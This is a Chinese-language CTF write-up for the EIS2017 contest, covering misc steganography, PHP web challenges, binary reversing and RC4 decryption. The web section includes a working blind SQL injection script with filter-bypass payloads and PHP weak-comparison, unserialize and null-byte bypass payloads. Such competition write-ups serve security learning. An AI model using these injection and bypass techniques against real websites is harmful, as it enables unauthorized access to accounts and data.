安恆杯EIS2017 writeup

上星期參加了安恆杯EIS2017實踐賽,記錄一下。

Misc

簽到題

 

掃二維碼可得

 

 

隱藏在黑夜裏的祕密

 

下載壓縮包,打開時提示加密,猜測可能是僞加密,於是用 010editor 把加密位去掉,置爲

0。然後解壓壓縮包,發現裏面有個 flag,懷着激動的心情打開一看,結果是這樣的:

 

夜已降臨之時,

我將自己裹在深邃的黑暗中, 在夜的最深處

期待着光明與無畏

 

顯然這是沒用的,另一個文件是Treeinblack.bmp,打開是一個文件,圖片左邊黑乎乎的,於是用圖片隱寫的工具查看一下,得到flag



Web

 

文件上傳

 


直接提交 php 文件:

會被攔截:


 

 

 

 

 

 

 

 

 


Fuzz 發現,< 和 php 會被攔截:

 


猜測後端沒有對數組進行過濾,將 content參數改爲數組,成功上傳:

得到 flag:



PHP 代碼審計


 


 

php 動態變量特性。

傳入參數args=GLOBALS,顯示所有變量,得到flag:


 

 

php trick

 

打開給的鏈接顯示找flag,然後查看 html源碼,看到了 index.php的源碼

發現使用了extract 函數解析 get 參數,而下面函數要求有 gift 變量,所以 get 要傳 gift變量過去

訪問 http://202.120.7.221:2333/index.php?gift=ddd之後,出現提示“flag 被加密了 再加密一次就得到 flag 了”這個提示

接着看源碼,發現 flag 變量是在 extract 函數之前的,所以可以通過extract 函數覆蓋掉 flag 的值,程序接着會使用 file_get_contents 函數,以flag 作爲參數,並使用僞協議 php://input 傳入 post 的數據。只要使得flag 變量的值和 post 傳入的數據一樣,即可得到 flag。


比賽方要求的 flag 形式是 EIS{},RVF 顯然不是,猜測是凱撒密碼,解密得到 flag


 

Login

 

打開題目鏈接,還是熟悉的界面,還是熟悉的味道。用戶名是 admin,嘗試了一下發現是 sql 盲注,過濾了select、and、mid、substr 等關鍵字以及*、/、!、空格等特殊字符。但是單引號可以用,而&&可以繞過 and 的過濾,()可以繞過空格的過濾。


 

F12 審查元素可以得到提示。

 

 


構造語句 uname=admin’%26%26left(pwd,1)=’a’%26%26’1’=’1通過構造中間的判斷語句,根據返回結果的不同,可以判斷語句是否正確。如果語句正確,則返回“password error!”,如果錯誤,則返回“no such user!”

 

 

腳本跑一下,得到密碼爲 fsaoaigafsdfsdubbwouibiaewrawe

import requestsimport string

string = 'qwertyuiopasdfghjklzxcvbnm'

 
p = ''

r=requests.session()print "start...."
 

for i in range(1,36): for j in string:

load="admin'&&left(pwd,%d)='%s%s'&&'1'='1" %(i,p,j)#print load

payload ={'uname':load, 'pwd':123} #print payload

result                                                                                                                                                         =

r.post("http://202.112.26.124:8080/fb69d7b4467e33c71b0153e62f7e2bf0/index.php",data=payload).text

#print result

if "password error!" in result: p=p+j

print p

print "end..."
 

 

 登錄得到 flag 爲:EIS{SQLI_INJECTIion_blind}


 

 

 

 

不是管理員也能login

 


訪問題目鏈接,隨便填寫,提示用戶名有誤。

 

 

 

根據提示到說明與幫助處查看發現一段php 代碼,限制條件爲用戶名的 md5 值等於 0(雙等號),根據php 弱類型比較,可以通過傳入 md5 值爲 0e 開頭的字符串繞過,如240610708

 

然後在這個頁面 F12 審查元素,可以發現另一段 php 代碼,發現是使用了反序列化函數。


同時也利用了 php 的特性,當整數與字符串弱比較(雙等號)時,字符串會強制轉換成整數

0,只要傳進去的參數反序列化後值爲整數 0,那麼就可以繞過 if 語句中的判斷。

Payload:userid=240610708&password=a:2:{s:4:"name";i:0;s:3:"pwd";i:0;}


 

得到 flag 爲:EIS{Smi1E_on_YouR_face_And_in_y0ur_heart}

 

 

隨機數

 

 

刷新幾次,發現值會重複,猜測是:在幾個數中隨機選擇一個作爲種子,然後再生成隨機數

所以,寫個腳本,隨便爆破出來一個種子就行了運行環境:ubuntu16.04

<?php

$z = 0;

for ($x=0; $x<1000; $x++)

{

srand($x);

$y = rand(1, 1000);

if ($y == 980)

{

$z = $x;

}

}

srand($z);

echo rand(1,1000); echo "\n";

echo rand(1,1000)-1; echo "\n";

echo rand(1,1000)-1; echo "\n";

echo rand(1,1000)-1; echo "\n";

?>


得到第四個隨機數爲 233,提交,得到 flag:


 

 

 

快速計算

 

Python 腳本跑一發,腳本如下:



Flag:

 

 

 

PHP 是最好的語言

 

訪問 http://202.112.26.124:8080/95fe19724cc6084f08366340c848b791/index.php.bak

得到源碼


 

構 造 foofoo=array('param1'=>'2018abc','param2'=>array(array(array(1),0),0,2,3,4))

 'param1'=>'2018abc',繞過

 


'param2'=>array(array(array(1),0),0,2,3,4)   繞過

 

但是這裏進行了反序列化處理,所以我們需要生成序列化字符串

 

 

所以傳入

foo=a:2:{s:6:"param1";s:7:"2018abc";s:6:"param2";a:5:{i:0;a:2:{i:0;a:1:{i:0;i:1;}i:1;i:0;}i:1;i:0;i:2;i:2

;i:3;i:3;i:4;i:4;}}

 

接下來繞過



這裏用到的技巧是,array 和 string 進行 strcmp 比較的時候會返回一個 null,%00 可以截斷

eregi

 傳入fish=123%00&egg[0]=11MyAns11&egg[1][]=1111成功繞過

 payload: http://202.112.26.124:8080/95fe19724cc6084f08366340c848b791/index.php?fish=123%00&egg[0]=11MyAns11&egg[1][]=1111&foo=a:2:{s:6:%22param1%22;s:7:%222018abc%22;s:6:%22param2%22;a:5:{i:0;a:2:{i:0;a:1:{i:0;i:1;}i:1;i:0;}i:1;i:0;i:2;i:2;i:3;i:3;i:4;i:4;}}

 

得到 flag


Reverse

 

IgniteMe

 下載之後用PEiD 檢測無殼,用 OD 找特徵 Unicode 碼找到 Congratulations!直接用 IDA靜態分析,進入主函數反編譯。


 由此跟進 sub_4011C0 函數。


得到:GONDPHyGjPEKruv{{pj]X@rF,由 strcmp 函數,當 GONDPHyGjPEKruv{{pj]X@rF和v4 相同時返回 0,分析上面的算法寫出如下腳本。

# -*- coding:utf-8 -*-

byte_4420B0 =[0x0D, 0x13, 0x17, 0x11, 0x2, 0x1, 0x20, 0x1D, 0x0C, 0x2, 0x19, 0x2F, 0x17, 0x2B, 0x24, 0x1F, 0x1E, 0x16, 0x9, 0x0F, 0x15, 0x27, 0x13, 0x26, 0x0A, 0x2F, 0x1E, 0x1A, 0x2D, 0x0C, 0x22,

0x4]

v4 ="GONDPHyGjPEKruv{{pj]X@rF"

 

for i in range(0, 24):

for j in range(65, 123):

if ord(v4[i]) == (byte_4420B0[i] ^ ((j ^ 0x55) + 0x48)): if 0x40 < j< 0x5B:

    j += 0x20

print(chr(j),end="")

 

得到 flag:EIS{wadx_tdgk_aihc_ihkn_pjlm}

 

 

 

ReverseMe

 


下載之後查殼,無殼。OD 載入直接到程序入口。用 OD 中文搜索插件:


 打開 IDA 搜索字符串:congratulations


按 F5 反編譯:



 

 

跟進 sub_014A0 函數:

sub_4014A0 很辣眼,三個參數,第一個參數原文,第二個密鑰,第三個長度


密文對比的方法,可以看到先循環位移,然後再異或。加密 = 每位 ROL 2 xor  密鑰對應的位數。反向推導一下就是 密文 xor 密鑰 ROR 2。看的時候要注意這個變量的地址是連續的。

 


用 python 破解這個算法:

 

密文對比的方法,可以看到先循環位移,然後再異或


 

Crypto

 

easy crypto

 

we have key:hello world

看到只有一個 key 猜是對稱加密

 

get buf unsigns[256] get buf t[256]

 

2 個 256 長度參數,然後是簡單地用key 打亂 s 中的值、之後看到有異或操作基本確定是rc4

直接用 rc4 使用已知的 key 解密

 

# -*- coding: utf-8 -*-

def rc4_dec(enc_data, key): j = 0

s = range(256)

for i in range(256): j=(j+s[i]+ord(key[i%len(key)])) % 256 s[i], s[j] =s[j], s[i]

i = j = 0

result = []

for c in enc_data:

i= (i+1) % 256

j= (j+s[i]) % 256

s[i], s[j] =s[j], s[i] result.append(chr(ord(c)^s[(s[i]+s[j])%256]))

return ''.join(result)

flag =rc4_dec(open("enc.txt", "rb").read(), 'hello world') printflag

 

EIS{55a0a84f86a6ad40006f014619577ad3}

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章